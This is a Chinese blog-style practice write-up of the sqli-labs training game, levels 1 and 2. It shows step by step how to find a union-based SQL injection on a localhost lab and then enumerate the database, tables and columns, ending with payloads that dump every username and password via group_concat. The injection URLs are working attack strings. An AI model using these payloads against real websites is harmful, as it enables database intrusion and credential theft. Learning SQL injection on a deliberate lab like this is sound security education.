此篇为我个人练习,仅供大家参考,若有错误请及时指出!
Sqli-labs是一个印度程序员写的,用来学习sql注入的一个游戏教程。博客地址为: http://dummy2dummies.blogspot.hk/,博客当中有一些示例,国内很多博客内容都是从该作者的博客翻译过来的。同时该作者也发了一套相关的视频,在youtube上可以查看。ps:印度人讲英语口音太重了。。。。凑合着听懂点。 此处考虑到有些朋友不会翻墙,遂分享到国内地址。 http://pan.baidu.com/s/1bo2L1JT
联合注入思路:
union联合,合并:将多条查询语句的结合并成一个结果,union注入攻击位一种手工测试。
less-1
1.判断是否有注入点以及是什么类型的注入(整型or字符型):
网址:http://localhost/sqli-labs/Less-1/
(注:我推荐使用火狐浏览器,他有一个hackbar的插件方便后续的输入。hackbar可自行百度,安装很简单。)
首先在URL中输入?id=1,可以得出正确显示:
然后输入?id=1 and 1=1 还有and1=2 发现都是输出正确,无法判断出什么类型的注入。
接着输入?id=1',可以看到出现错误。
在这里的错误是指页面发生变化,不管页面出现了什么变化,只要页面有变化,就算是触发了数据库报错。
而后我们输入?id=1' and 1=1以及?id=1' and 1=2均出现错误,此处我们可以得出less-1是一个字符型注入。
报错后,在其后添加注释符,如果回显恢复正常,那么就是注入点。注释符可以是#、-- 以及#。经过测试,-- 能使页面恢复正常。
2.用order by语句查询该数据库的字段数:
代码语言:javascript复制http://localhost/sqli-labs/Less-1/?id=1'order by 3 --
此处语句输入要从order by 1开始。
order by 4出现错误,故字段数为3。
3.. 利用获得的列数使用联合查询,union select 与前面的字段数一样,找到数据呈现的位置:
代码语言:javascript复制http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,3 --
可以判断出输出字段为2。
4.根据显示内容确定查询语句的位置,利用information_schema依次进行查询:
(1)查看数据库和用户:
代码语言:javascript复制http://localhost/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --
可以看到用户名为:security。
(2)报表名:
代码语言:javascript复制http://localhost/sqli-labs/Less-1/?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3 --
可以看到爆出来的表名为:emails;referers;uagents;users
而后更改语句中的limit0,1,依次为1,1、2,1、3,1;
(3)爆字段名:
代码语言:javascript复制http://localhost/sqli-labs/Less-1/?id=-1' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='referers' limit 0,1),3 --
可以看出爆出的字段名依次为:id;referfer;ip_address
语句更改与爆表名一样,不在赘述。
(4)爆数据:
代码语言:javascript复制http://localhost/sqli-labs/Less-1/?id=-1' union select 1,(select username from users limit 0,1),3 --
可以看到爆出了八个用户名,就需要输入八个很麻烦,我们可以使用group_concat语句:
代码语言:javascript复制http://localhost/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(id,0x7e,username,0x7e,password) from users),3 --
如图,一次性输出十分方便。另外,为了便于阅读,我们可以在输出中加上0x7e或0x3e,其中前者为~或者为>。
less-2
less-2与less-1过程基本一致,不过变成了整形注入,具体过程不再过多赘述,放上截图供大家参考。
1.判断是否有注入点以及是什么类型的注入(整型or字符型):
网址:http://localhost/sqli-labs/Less-2/
首先输入?id=1,没有错误;
然后是?id=1',错误;
接着?id=1 and 1=1没有错误;
然后是?id=1 and 1=2报错,
所以这是整形注入。
2.用order by语句查询该数据库的字段数:
如图,得出字段数为3(注意:整型注入时,输入的时候要加#)。
3.. 利用获得的列数使用联合查询,union select 与前面的字段数一样,找到数据呈现的位置:
可以看到,输出字段为2。
4.根据显示内容确定查询语句的位置,利用information_schema依次进行查询:
(1)查看数据库和用户:
可以看到数据库名为:security。
(2)报表名:
(3)爆字段名:
(4)爆数据:
以上就是sqli-labs less-1&less-2的过程,之所以,将1和2放在一起就是因为这两关只是注入类型不同,操作以及语句的使用基本完全一致。
若有错误还请各位及时指出。